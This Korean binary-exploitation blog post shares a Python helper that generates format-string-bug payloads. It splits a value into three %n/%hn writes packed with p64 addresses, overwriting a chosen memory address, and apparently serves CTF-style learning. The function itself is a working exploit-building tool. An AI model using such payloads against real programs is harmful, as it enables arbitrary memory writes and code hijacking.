[바이너리 익스플로잇] Format-String-Bug 페이로드 생성 함수 : FSB Payload Generator Fcuntion

2022. 2. 4. 23:13Binary Exploitation/Other

def gen_fsb_payload(addr, addr2, N):

    a1 = str(hex(addr))
    a1 = a1[2:len(a1)]
    a3 = int(a1[:4],16)
    a2 = int(a1[4:len(a1)-4],16)
    a1 = int(a1[8:len(a1)],16)

    print(f'{hex(a1)}\n{hex(a2)}\n{hex(a3)}\n')

    def create_payload(A, B, fs):
        rs_len = len(str(A))+ 5 + len(fs)
        rs = f'%{A}d%XX${fs}' + 'P' * (8 - rs_len % 8)
        fn = str(N+(len(rs)//8))
        rs = rs.replace('XX',fn)
        if int(fn) > 9 :
            rs = rs + 'P'
        return rs.encode() + p64(B)

    return create_payload(a1,addr2,'n'), create_payload(a2,addr2+2,'hn'), create_payload(a3,addr2+4,'hn')

[addr2] 메모리 주소를 addr1 값으로 위조하는 페이로드를 3등분해서 생성함. 일반적인 12자리 메모리 주소를 겨냥해서 만들었기 때문에 4,2,2 등분으로 위조할 값을 나눔.